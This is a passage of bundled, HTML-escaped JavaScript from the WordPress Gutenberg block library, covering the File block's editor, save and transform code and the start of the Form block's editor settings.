    let linkDestinationOptions = [{ value: href, label: (0, import_i18n63.__)(&quot;URL&quot;) }];
    if (attachmentPage) {
      linkDestinationOptions = [
        { value: href, label: (0, import_i18n63.__)(&quot;Media file&quot;) },
        { value: attachmentPage, label: (0, import_i18n63.__)(&quot;Attachment page&quot;) }
      ];
    }
    return /* @__PURE__ */ (0, import_jsx_runtime239.jsx)(import_jsx_runtime239.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime239.jsxs)(import_block_editor79.InspectorControls, { children: [
      href.endsWith(&quot;.pdf&quot;) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime239.jsxs)(
        import_components41.__experimentalToolsPanel,
        {
          label: (0, import_i18n63.__)(&quot;PDF settings&quot;),
          resetAll: () =&gt; {
            changeDisplayPreview(true);
            changePreviewHeight(600);
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime239.jsx)(
              import_components41.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n63.__)(&quot;Show inline embed&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; !displayPreview,
                onDeselect: () =&gt; changeDisplayPreview(true),
                children: /* @__PURE__ */ (0, import_jsx_runtime239.jsx)(
                  import_components41.ToggleControl,
                  {
                    label: (0, import_i18n63.__)(&quot;Show inline embed&quot;),
                    help: displayPreview ? (0, import_i18n63.__)(
                      &quot;Note: Most phone and tablet browsers won&#039;t display embedded PDFs.&quot;
                    ) : null,
                    checked: !!displayPreview,
                    onChange: changeDisplayPreview
                  }
                )
              }
            ),
            displayPreview &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime239.jsx)(
              import_components41.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n63.__)(&quot;Height in pixels&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; previewHeight !== 600,
                onDeselect: () =&gt; changePreviewHeight(600),
                children: /* @__PURE__ */ (0, import_jsx_runtime239.jsx)(
                  import_components41.RangeControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n63.__)(&quot;Height in pixels&quot;),
                    min: MIN_PREVIEW_HEIGHT,
                    max: Math.max(
                      MAX_PREVIEW_HEIGHT,
                      previewHeight
                    ),
                    value: previewHeight,
                    onChange: changePreviewHeight
                  }
                )
              }
            )
          ]
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime239.jsxs)(
        import_components41.__experimentalToolsPanel,
        {
          label: (0, import_i18n63.__)(&quot;Settings&quot;),
          resetAll: () =&gt; {
            changeLinkDestinationOption(href);
            changeOpenInNewWindow(false);
            changeShowDownloadButton(true);
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime239.jsx)(
              import_components41.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n63.__)(&quot;Link to&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; textLinkHref !== href,
                onDeselect: () =&gt; changeLinkDestinationOption(href),
                children: /* @__PURE__ */ (0, import_jsx_runtime239.jsx)(
                  import_components41.SelectControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n63.__)(&quot;Link to&quot;),
                    value: textLinkHref,
                    options: linkDestinationOptions,
                    onChange: changeLinkDestinationOption
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime239.jsx)(
              import_components41.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n63.__)(&quot;Open in new tab&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; !!openInNewWindow,
                onDeselect: () =&gt; changeOpenInNewWindow(false),
                children: /* @__PURE__ */ (0, import_jsx_runtime239.jsx)(
                  import_components41.ToggleControl,
                  {
                    label: (0, import_i18n63.__)(&quot;Open in new tab&quot;),
                    checked: openInNewWindow,
                    onChange: changeOpenInNewWindow
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime239.jsx)(
              import_components41.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n63.__)(&quot;Show download button&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; !showDownloadButton,
                onDeselect: () =&gt; changeShowDownloadButton(true),
                children: /* @__PURE__ */ (0, import_jsx_runtime239.jsx)(
                  import_components41.ToggleControl,
                  {
                    label: (0, import_i18n63.__)(&quot;Show download button&quot;),
                    checked: showDownloadButton,
                    onChange: changeShowDownloadButton
                  }
                )
              }
            )
          ]
        }
      )
    ] }) });
  }

  // packages/block-library/build-module/file/utils/index.mjs
  var browserSupportsPdfs = () =&gt; {
    if (window.navigator.pdfViewerEnabled) {
      return true;
    }
    if (window.navigator.userAgent.indexOf(&quot;Mobi&quot;) &gt; -1) {
      return false;
    }
    if (window.navigator.userAgent.indexOf(&quot;Android&quot;) &gt; -1) {
      return false;
    }
    if (window.navigator.userAgent.indexOf(&quot;Macintosh&quot;) &gt; -1 &amp;&amp; window.navigator.maxTouchPoints &amp;&amp; window.navigator.maxTouchPoints &gt; 2) {
      return false;
    }
    if (!!(window.ActiveXObject || &quot;ActiveXObject&quot; in window) &amp;&amp; !(createActiveXObject(&quot;AcroPDF.PDF&quot;) || createActiveXObject(&quot;PDF.PdfCtrl&quot;))) {
      return false;
    }
    return true;
  };
  var createActiveXObject = (type) =&gt; {
    let ax;
    try {
      ax = new window.ActiveXObject(type);
    } catch (e2) {
      ax = void 0;
    }
    return ax;
  };

  // packages/block-library/build-module/file/edit.mjs
  var import_jsx_runtime240 = __toESM(require_jsx_runtime(), 1);
  var MIN_PREVIEW_HEIGHT = 200;
  var MAX_PREVIEW_HEIGHT = 2e3;
  function ClipboardToolbarButton({ text, disabled }) {
    const { createNotice } = (0, import_data33.useDispatch)(import_notices5.store);
    const ref = (0, import_compose19.useCopyToClipboard)(text, () =&gt; {
      createNotice(&quot;info&quot;, (0, import_i18n64.__)(&quot;Copied URL to clipboard.&quot;), {
        isDismissible: true,
        type: &quot;snackbar&quot;
      });
    });
    return /* @__PURE__ */ (0, import_jsx_runtime240.jsx)(
      import_components42.ToolbarButton,
      {
        className: &quot;components-clipboard-toolbar-button&quot;,
        ref,
        disabled,
        children: (0, import_i18n64.__)(&quot;Copy URL&quot;)
      }
    );
  }
  function FileEdit({ attributes: attributes2, isSelected, setAttributes, clientId }) {
    const {
      id,
      fileName,
      href,
      textLinkHref,
      textLinkTarget,
      showDownloadButton,
      downloadButtonText,
      displayPreview,
      previewHeight
    } = attributes2;
    const [temporaryURL, setTemporaryURL] = (0, import_element29.useState)(attributes2.blob);
    const { media } = (0, import_data33.useSelect)(
      (select9) =&gt; ({
        media: id === void 0 ? void 0 : select9(import_core_data18.store).getEntityRecord(
          &quot;postType&quot;,
          &quot;attachment&quot;,
          id
        )
      }),
      [id]
    );
    const { createErrorNotice } = (0, import_data33.useDispatch)(import_notices5.store);
    const { toggleSelection, __unstableMarkNextChangeAsNotPersistent } = (0, import_data33.useDispatch)(import_block_editor80.store);
    useUploadMediaFromBlobURL({
      url: temporaryURL,
      onChange: onSelectFile,
      onError: onUploadError
    });
    (0, import_element29.useEffect)(() =&gt; {
      if (import_block_editor80.RichText.isEmpty(downloadButtonText)) {
        __unstableMarkNextChangeAsNotPersistent();
        setAttributes({
          downloadButtonText: (0, import_i18n64._x)(&quot;Download&quot;, &quot;button label&quot;)
        });
      }
    }, []);
    function onSelectFile(newMedia) {
      if (!newMedia || !newMedia.url) {
        setAttributes({
          href: void 0,
          fileName: void 0,
          textLinkHref: void 0,
          id: void 0,
          fileId: void 0,
          displayPreview: void 0,
          previewHeight: void 0
        });
        setTemporaryURL();
        return;
      }
      if ((0, import_blob7.isBlobURL)(newMedia.url)) {
        setTemporaryURL(newMedia.url);
        return;
      }
      const isPdf = (
        // Media Library and REST API use different properties for mime type.
        (newMedia.mime || newMedia.mime_type) === &quot;application/pdf&quot; || (0, import_url7.getFilename)(newMedia.url).toLowerCase().endsWith(&quot;.pdf&quot;)
      );
      const pdfAttributes = {
        displayPreview: isPdf ? attributes2.displayPreview ?? true : void 0,
        previewHeight: isPdf ? attributes2.previewHeight ?? 600 : void 0
      };
      setAttributes({
        href: newMedia.url,
        fileName: newMedia.title,
        textLinkHref: newMedia.url,
        id: newMedia.id,
        fileId: `wp-block-file--media-${clientId}`,
        blob: void 0,
        ...pdfAttributes
      });
      setTemporaryURL();
    }
    function onUploadError(message) {
      setAttributes({ href: void 0 });
      createErrorNotice(message, { type: &quot;snackbar&quot; });
    }
    function changeLinkDestinationOption(newHref) {
      setAttributes({ textLinkHref: newHref });
    }
    function changeOpenInNewWindow(newValue) {
      setAttributes({
        textLinkTarget: newValue ? &quot;_blank&quot; : false
      });
    }
    function changeShowDownloadButton(newValue) {
      setAttributes({ showDownloadButton: newValue });
    }
    function changeDisplayPreview(newValue) {
      setAttributes({ displayPreview: newValue });
    }
    function handleOnResizeStop(event, direction, elt, delta) {
      toggleSelection(true);
      const newHeight = parseInt(previewHeight + delta.height, 10);
      setAttributes({ previewHeight: newHeight });
    }
    function changePreviewHeight(newValue) {
      const newHeight = Math.max(
        parseInt(newValue, 10),
        MIN_PREVIEW_HEIGHT
      );
      setAttributes({ previewHeight: newHeight });
    }
    const attachmentPage = media &amp;&amp; media.link;
    const blockProps = (0, import_block_editor80.useBlockProps)({
      className: clsx_default(
        !!temporaryURL &amp;&amp; (0, import_components42.__unstableGetAnimateClassName)({ type: &quot;loading&quot; }),
        {
          &quot;is-transient&quot;: !!temporaryURL
        }
      )
    });
    const displayPreviewInEditor = browserSupportsPdfs() &amp;&amp; displayPreview;
    if (!href &amp;&amp; !temporaryURL) {
      return /* @__PURE__ */ (0, import_jsx_runtime240.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime240.jsx)(
        import_block_editor80.MediaPlaceholder,
        {
          icon: /* @__PURE__ */ (0, import_jsx_runtime240.jsx)(import_block_editor80.BlockIcon, { icon: file_default }),
          labels: {
            title: (0, import_i18n64.__)(&quot;File&quot;),
            instructions: (0, import_i18n64.__)(
              &quot;Drag and drop a file, upload, or choose from your library.&quot;
            )
          },
          onSelect: onSelectFile,
          onError: onUploadError,
          accept: &quot;*&quot;
        }
      ) });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime240.jsxs)(import_jsx_runtime240.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime240.jsx)(
        FileBlockInspector,
        {
          hrefs: {
            href: href || temporaryURL,
            textLinkHref,
            attachmentPage
          },
          ...{
            openInNewWindow: !!textLinkTarget,
            showDownloadButton,
            changeLinkDestinationOption,
            changeOpenInNewWindow,
            changeShowDownloadButton,
            displayPreview,
            changeDisplayPreview,
            previewHeight,
            changePreviewHeight
          }
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime240.jsxs)(import_block_editor80.BlockControls, { group: &quot;other&quot;, children: [
        /* @__PURE__ */ (0, import_jsx_runtime240.jsx)(
          import_block_editor80.MediaReplaceFlow,
          {
            mediaId: id,
            mediaURL: href,
            accept: &quot;*&quot;,
            onSelect: onSelectFile,
            onError: onUploadError,
            onReset: () =&gt; onSelectFile(void 0)
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime240.jsx)(
          ClipboardToolbarButton,
          {
            text: href,
            disabled: (0, import_blob7.isBlobURL)(href)
          }
        )
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime240.jsxs)(&quot;div&quot;, { ...blockProps, children: [
        displayPreviewInEditor &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime240.jsxs)(
          import_components42.ResizableBox,
          {
            size: { height: previewHeight, width: &quot;100%&quot; },
            minHeight: MIN_PREVIEW_HEIGHT,
            maxHeight: MAX_PREVIEW_HEIGHT,
            grid: [1, 10],
            enable: {
              top: false,
              right: false,
              bottom: true,
              left: false,
              topRight: false,
              bottomRight: false,
              bottomLeft: false,
              topLeft: false
            },
            onResizeStart: () =&gt; toggleSelection(false),
            onResizeStop: handleOnResizeStop,
            showHandle: isSelected,
            children: [
              /* @__PURE__ */ (0, import_jsx_runtime240.jsx)(
                &quot;object&quot;,
                {
                  className: &quot;wp-block-file__preview&quot;,
                  data: href,
                  type: &quot;application/pdf&quot;,
                  &quot;aria-label&quot;: (0, import_i18n64.__)(
                    &quot;Embed of the selected PDF file.&quot;
                  )
                }
              ),
              !isSelected &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime240.jsx)(&quot;div&quot;, { className: &quot;wp-block-file__preview-overlay&quot; })
            ]
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime240.jsxs)(&quot;div&quot;, { className: &quot;wp-block-file__content-wrapper&quot;, children: [
          /* @__PURE__ */ (0, import_jsx_runtime240.jsx)(
            import_block_editor80.RichText,
            {
              identifier: &quot;fileName&quot;,
              tagName: &quot;a&quot;,
              value: fileName,
              placeholder: (0, import_i18n64.__)(&quot;Write file name\u2026&quot;),
              withoutInteractiveFormatting: true,
              onChange: (text) =&gt; setAttributes({
                fileName: removeAnchorTag(text)
              }),
              href: textLinkHref
            }
          ),
          showDownloadButton &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime240.jsx)(&quot;div&quot;, { className: &quot;wp-block-file__button-richtext-wrapper&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime240.jsx)(
            import_block_editor80.RichText,
            {
              identifier: &quot;downloadButtonText&quot;,
              tagName: &quot;div&quot;,
              &quot;aria-label&quot;: (0, import_i18n64.__)(&quot;Download button text&quot;),
              className: clsx_default(
                &quot;wp-block-file__button&quot;,
                (0, import_block_editor80.__experimentalGetElementClassName)(
                  &quot;button&quot;
                )
              ),
              value: downloadButtonText,
              withoutInteractiveFormatting: true,
              placeholder: (0, import_i18n64.__)(&quot;Add text\u2026&quot;),
              onChange: (text) =&gt; setAttributes({
                downloadButtonText: removeAnchorTag(text)
              })
            }
          ) })
        ] })
      ] })
    ] });
  }
  var edit_default10 = FileEdit;

  // packages/block-library/build-module/file/block.json
  var block_default33 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/file&quot;,
    title: &quot;File&quot;,
    category: &quot;media&quot;,
    description: &quot;Add a link to a downloadable file.&quot;,
    keywords: [&quot;document&quot;, &quot;pdf&quot;, &quot;download&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      id: {
        type: &quot;number&quot;
      },
      blob: {
        type: &quot;string&quot;,
        role: &quot;local&quot;
      },
      href: {
        type: &quot;string&quot;,
        role: &quot;content&quot;
      },
      fileId: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;a:not([download])&quot;,
        attribute: &quot;id&quot;
      },
      fileName: {
        type: &quot;rich-text&quot;,
        source: &quot;rich-text&quot;,
        selector: &quot;a:not([download])&quot;,
        role: &quot;content&quot;
      },
      textLinkHref: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;a:not([download])&quot;,
        attribute: &quot;href&quot;,
        role: &quot;content&quot;
      },
      textLinkTarget: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;a:not([download])&quot;,
        attribute: &quot;target&quot;
      },
      showDownloadButton: {
        type: &quot;boolean&quot;,
        default: true
      },
      downloadButtonText: {
        type: &quot;rich-text&quot;,
        source: &quot;rich-text&quot;,
        selector: &quot;a[download]&quot;,
        role: &quot;content&quot;
      },
      displayPreview: {
        type: &quot;boolean&quot;
      },
      previewHeight: {
        type: &quot;number&quot;,
        default: 600
      }
    },
    supports: {
      anchor: true,
      align: true,
      spacing: {
        margin: true,
        padding: true
      },
      color: {
        gradients: true,
        link: true,
        text: false,
        __experimentalDefaultControls: {
          background: true,
          link: true
        }
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      },
      interactivity: true
    },
    editorStyle: &quot;wp-block-file-editor&quot;,
    style: &quot;wp-block-file&quot;
  };

  // packages/block-library/build-module/file/save.mjs
  var import_block_editor81 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime241 = __toESM(require_jsx_runtime(), 1);
  function save17({ attributes: attributes2 }) {
    const {
      href,
      fileId,
      fileName,
      textLinkHref,
      textLinkTarget,
      showDownloadButton,
      downloadButtonText,
      displayPreview,
      previewHeight
    } = attributes2;
    const pdfEmbedLabel = import_block_editor81.RichText.isEmpty(fileName) ? &quot;PDF embed&quot; : (
      // To do: use toPlainText, but we need ensure it&#039;s RichTextData. See
      // https://github.com/WordPress/gutenberg/pull/56710.
      fileName.toString()
    );
    const hasFilename = !import_block_editor81.RichText.isEmpty(fileName);
    const describedById = hasFilename ? fileId : void 0;
    return href &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime241.jsxs)(&quot;div&quot;, { ...import_block_editor81.useBlockProps.save(), children: [
      displayPreview &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime241.jsx)(import_jsx_runtime241.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime241.jsx)(
        &quot;object&quot;,
        {
          className: &quot;wp-block-file__embed&quot;,
          data: href,
          type: &quot;application/pdf&quot;,
          style: {
            width: &quot;100%&quot;,
            height: `${previewHeight}px`
          },
          &quot;aria-label&quot;: pdfEmbedLabel
        }
      ) }),
      hasFilename &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime241.jsx)(
        &quot;a&quot;,
        {
          id: describedById,
          href: textLinkHref,
          target: textLinkTarget,
          rel: textLinkTarget ? &quot;noreferrer noopener&quot; : void 0,
          children: /* @__PURE__ */ (0, import_jsx_runtime241.jsx)(import_block_editor81.RichText.Content, { value: fileName })
        }
      ),
      showDownloadButton &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime241.jsx)(
        &quot;a&quot;,
        {
          href,
          className: clsx_default(
            &quot;wp-block-file__button&quot;,
            (0, import_block_editor81.__experimentalGetElementClassName)(&quot;button&quot;)
          ),
          download: true,
          &quot;aria-describedby&quot;: describedById,
          children: /* @__PURE__ */ (0, import_jsx_runtime241.jsx)(import_block_editor81.RichText.Content, { value: downloadButtonText })
        }
      )
    ] });
  }

  // packages/block-library/build-module/file/transforms.mjs
  var import_blob8 = __toESM(require_blob(), 1);
  var import_blocks27 = __toESM(require_blocks(), 1);
  var import_data34 = __toESM(require_data(), 1);
  var import_core_data19 = __toESM(require_core_data(), 1);
  var import_url8 = __toESM(require_url(), 1);
  var transforms8 = {
    from: [
      {
        type: &quot;files&quot;,
        isMatch(files) {
          return files.length &gt; 0;
        },
        // We define a lower priority (higher number) than the default of 10. This
        // ensures that the File block is only created as a fallback.
        priority: 15,
        transform: (files) =&gt; {
          const blocks = [];
          files.forEach((file) =&gt; {
            const blobURL = (0, import_blob8.createBlobURL)(file);
            if (file.type.startsWith(&quot;video/&quot;)) {
              blocks.push(
                (0, import_blocks27.createBlock)(&quot;core/video&quot;, {
                  blob: (0, import_blob8.createBlobURL)(file)
                })
              );
            } else if (file.type.startsWith(&quot;image/&quot;)) {
              blocks.push(
                (0, import_blocks27.createBlock)(&quot;core/image&quot;, {
                  blob: (0, import_blob8.createBlobURL)(file)
                })
              );
            } else if (file.type.startsWith(&quot;audio/&quot;)) {
              blocks.push(
                (0, import_blocks27.createBlock)(&quot;core/audio&quot;, {
                  blob: (0, import_blob8.createBlobURL)(file)
                })
              );
            } else {
              blocks.push(
                (0, import_blocks27.createBlock)(&quot;core/file&quot;, {
                  blob: blobURL,
                  fileName: file.name
                })
              );
            }
          });
          return blocks;
        }
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/audio&quot;],
        transform: (attributes2) =&gt; {
          return (0, import_blocks27.createBlock)(&quot;core/file&quot;, {
            href: attributes2.src,
            fileName: attributes2.caption,
            textLinkHref: attributes2.src,
            id: attributes2.id,
            anchor: attributes2.anchor
          });
        }
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/video&quot;],
        transform: (attributes2) =&gt; {
          return (0, import_blocks27.createBlock)(&quot;core/file&quot;, {
            href: attributes2.src,
            fileName: attributes2.caption,
            textLinkHref: attributes2.src,
            id: attributes2.id,
            anchor: attributes2.anchor
          });
        }
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/image&quot;],
        transform: (attributes2) =&gt; {
          return (0, import_blocks27.createBlock)(&quot;core/file&quot;, {
            href: attributes2.url,
            fileName: attributes2.caption || (0, import_url8.getFilename)(attributes2.url),
            textLinkHref: attributes2.url,
            id: attributes2.id,
            anchor: attributes2.anchor
          });
        }
      }
    ],
    to: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/audio&quot;],
        isMatch: ({ id }) =&gt; {
          if (!id) {
            return false;
          }
          const { getEntityRecord } = (0, import_data34.select)(import_core_data19.store);
          const media = getEntityRecord(&quot;postType&quot;, &quot;attachment&quot;, id);
          return !!media &amp;&amp; media.mime_type.includes(&quot;audio&quot;);
        },
        transform: (attributes2) =&gt; {
          return (0, import_blocks27.createBlock)(&quot;core/audio&quot;, {
            src: attributes2.href,
            caption: attributes2.fileName,
            id: attributes2.id,
            anchor: attributes2.anchor
          });
        }
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/video&quot;],
        isMatch: ({ id }) =&gt; {
          if (!id) {
            return false;
          }
          const { getEntityRecord } = (0, import_data34.select)(import_core_data19.store);
          const media = getEntityRecord(&quot;postType&quot;, &quot;attachment&quot;, id);
          return !!media &amp;&amp; media.mime_type.includes(&quot;video&quot;);
        },
        transform: (attributes2) =&gt; {
          return (0, import_blocks27.createBlock)(&quot;core/video&quot;, {
            src: attributes2.href,
            caption: attributes2.fileName,
            id: attributes2.id,
            anchor: attributes2.anchor
          });
        }
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/image&quot;],
        isMatch: ({ id }) =&gt; {
          if (!id) {
            return false;
          }
          const { getEntityRecord } = (0, import_data34.select)(import_core_data19.store);
          const media = getEntityRecord(&quot;postType&quot;, &quot;attachment&quot;, id);
          return !!media &amp;&amp; media.mime_type.includes(&quot;image&quot;);
        },
        transform: (attributes2) =&gt; {
          return (0, import_blocks27.createBlock)(&quot;core/image&quot;, {
            url: attributes2.href,
            caption: attributes2.fileName,
            id: attributes2.id,
            anchor: attributes2.anchor
          });
        }
      }
    ]
  };
  var transforms_default9 = transforms8;

  // packages/block-library/build-module/file/index.mjs
  var { fieldsKey: fieldsKey6, formKey: formKey6 } = unlock(import_blocks28.privateApis);
  var { name: name33 } = block_default33;
  var settings33 = {
    icon: file_default,
    example: {
      attributes: {
        href: &quot;https://upload.wikimedia.org/wikipedia/commons/d/dd/Armstrong_Small_Step.ogg&quot;,
        fileName: (0, import_i18n65._x)(&quot;Armstrong_Small_Step&quot;, &quot;Name of the file&quot;)
      }
    },
    transforms: transforms_default9,
    deprecated: deprecated_default16,
    edit: edit_default10,
    save: save17
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings33[fieldsKey6] = [
      {
        id: &quot;file&quot;,
        label: (0, import_i18n65.__)(&quot;File&quot;),
        type: &quot;media&quot;,
        Edit: {
          control: &quot;media&quot;,
          // TODO: replace with custom component
          allowedTypes: [],
          multiple: false
        },
        getValue: ({ item }) =&gt; ({
          id: item.id,
          url: item.href
        }),
        setValue: ({ value }) =&gt; ({
          id: value.id,
          href: value.url
        })
      },
      {
        id: &quot;fileName&quot;,
        label: (0, import_i18n65.__)(&quot;Filename&quot;),
        type: &quot;text&quot;,
        Edit: &quot;rich-text&quot;
        // TODO: replace with custom component
      },
      {
        id: &quot;downloadButtonText&quot;,
        label: (0, import_i18n65.__)(&quot;Button Text&quot;),
        type: &quot;text&quot;,
        Edit: &quot;rich-text&quot;
        // TODO: replace with custom component
      }
    ];
    settings33[formKey6] = {
      fields: [&quot;file&quot;, &quot;fileName&quot;, &quot;downloadButtonText&quot;]
    };
  }
  var init33 = () =&gt; initBlock({ name: name33, metadata: block_default33, settings: settings33 });

  // packages/block-library/build-module/form/index.mjs
  var form_exports = {};
  __export(form_exports, {
    init: () =&gt; init34,
    metadata: () =&gt; block_default34,
    name: () =&gt; name34,
    settings: () =&gt; settings34
  });
  var import_hooks26 = __toESM(require_hooks(), 1);

  // packages/block-library/build-module/form/edit.mjs
  var import_i18n67 = __toESM(require_i18n(), 1);
  var import_block_editor82 = __toESM(require_block_editor(), 1);
  var import_components43 = __toESM(require_components(), 1);
  var import_data35 = __toESM(require_data(), 1);

  // packages/block-library/build-module/form/utils.mjs
  var import_i18n66 = __toESM(require_i18n(), 1);
  var formSubmissionNotificationSuccess = [
    &quot;core/form-submission-notification&quot;,
    {
      type: &quot;success&quot;
    },
    [
      [
        &quot;core/paragraph&quot;,
        {
          content: &#039;&lt;mark style=&quot;background-color:rgba(0, 0, 0, 0);color:#345C00&quot; class=&quot;has-inline-color&quot;&gt;&#039; + (0, import_i18n66.__)(&quot;Your form has been submitted successfully&quot;) + &quot;&lt;/mark&gt;&quot;
        }
      ]
    ]
  ];
  var formSubmissionNotificationError = [
    &quot;core/form-submission-notification&quot;,
    {
      type: &quot;error&quot;
    },
    [
      [
        &quot;core/paragraph&quot;,
        {
          content: &#039;&lt;mark style=&quot;background-color:rgba(0, 0, 0, 0);color:#CF2E2E&quot; class=&quot;has-inline-color&quot;&gt;&#039; + (0, import_i18n66.__)(&quot;There was an error submitting your form.&quot;) + &quot;&lt;/mark&gt;&quot;
        }
      ]
    ]
  ];

  // packages/block-library/build-module/form/edit.mjs
  var import_jsx_runtime242 = __toESM(require_jsx_runtime(), 1);
  var TEMPLATE6 = [
    formSubmissionNotificationSuccess,
    formSubmissionNotificationError,
    [
      &quot;core/form-input&quot;,
      {
        type: &quot;text&quot;,
        label: (0, import_i18n67.__)(&quot;Name&quot;),
        required: true
      }
    ],
    [
      &quot;core/form-input&quot;,
      {
        type: &quot;email&quot;,
        label: (0, import_i18n67.__)(&quot;Email&quot;),
        required: true
      }
    ],
    [
      &quot;core/form-input&quot;,
      {
        type: &quot;textarea&quot;,
        label: (0, import_i18n67.__)(&quot;Comment&quot;),
        required: true
      }
    ],
    [&quot;core/form-submit-button&quot;, {}]
  ];
  var Edit13 = ({ attributes: attributes2, setAttributes, clientId }) =&gt; {
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const resetAllSettings = () =&gt; {
      setAttributes({
        submissionMethod: &quot;email&quot;,
        email: void 0,
        action: void 0,
        method: &quot;post&quot;
      });
    };
    const { action, method, email, submissionMethod } = attributes2;
    const blockProps = (0, import_block_editor82.useBlockProps)();
    const { hasInnerBlocks } = (0, import_data35.useSelect)(
      (select9) =&gt; {
        const { getBlock } = select9(import_block_editor82.store);
        const block = getBlock(clientId);
        return {
          hasInnerBlocks: !!(block &amp;&amp; block.innerBlocks.length)
        };
      },
      [clientId]
    );
    const innerBlocksProps = (0, import_block_editor82.useInnerBlocksProps)(blockProps, {
      template: TEMPLATE6,
      renderAppender: hasInnerBlocks ? void 0 : import_block_editor82.InnerBlocks.ButtonBlockAppender
    });
    return /* @__PURE__ */ (0, import_jsx_runtime242.jsxs)(import_jsx_runtime242.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime242.jsx)(import_block_editor82.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime242.jsxs)(
        import_components43.__experimentalToolsPanel,
        {
          dropdownMenuProps,
          label: (0, import_i18n67.__)(&quot;Settings&quot;),
          resetAll: resetAllSettings,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime242.jsx)(
              import_components43.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; submissionMethod !== &quot;email&quot;,
                label: (0, import_i18n67.__)(&quot;Submissions method&quot;),
                onDeselect: () =&gt; setAttributes({
                  submissionMethod: &quot;email&quot;
                }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime242.jsx)(
                  import_components43.SelectControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n67.__)(&quot;Submissions method&quot;),
                    options: [
                      // TODO: Allow plugins to add their own submission methods.
                      {
                        label: (0, import_i18n67.__)(&quot;Send email&quot;),
                        value: &quot;email&quot;
                      },
                      {
                        label: (0, import_i18n67.__)(&quot;- Custom -&quot;),
                        value: &quot;custom&quot;
                      }
                    ],
                    value: submissionMethod,
                    onChange: (value) =&gt; setAttributes({ submissionMethod: value }),
                    help: submissionMethod === &quot;custom&quot; ? (0, import_i18n67.__)(
                      &#039;Select the method to use for form submissions. Additional options for the &quot;custom&quot; mode can be found in the &quot;Advanced&quot; section.&#039;
                    ) : (0, import_i18n67.__)(
                      &quot;Select the method to use for form submissions.&quot;
                    )
                  }
                )
              }
            ),
            submissionMethod === &quot;email&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime242.jsx)(
              import_components43.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; !!email,
                label: (0, import_i18n67.__)(&quot;Email for form submissions&quot;),
                onDeselect: () =&gt; setAttributes({
                  email: void 0,
                  action: void 0,
                  method: &quot;post&quot;
                }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime242.jsx)(
                  import_components43.TextControl,
                  {
                    __next40pxDefaultSize: true,
                    autoComplete: &quot;off&quot;,
                    label: (0, import_i18n67.__)(&quot;Email for form submissions&quot;),
                    value: email || &quot;&quot;,
                    required: true,
                    onChange: (value) =&gt; {
                      setAttributes({ email: value });
                      setAttributes({
                        action: `mailto:${value}`
                      });
                      setAttributes({ method: &quot;post&quot; });
                    },
                    help: (0, import_i18n67.__)(
                      &quot;The email address where form submissions will be sent. Separate multiple email addresses with a comma.&quot;
                    ),
                    type: &quot;email&quot;
                  }
                )
              }
            )
          ]
        }
      ) }),
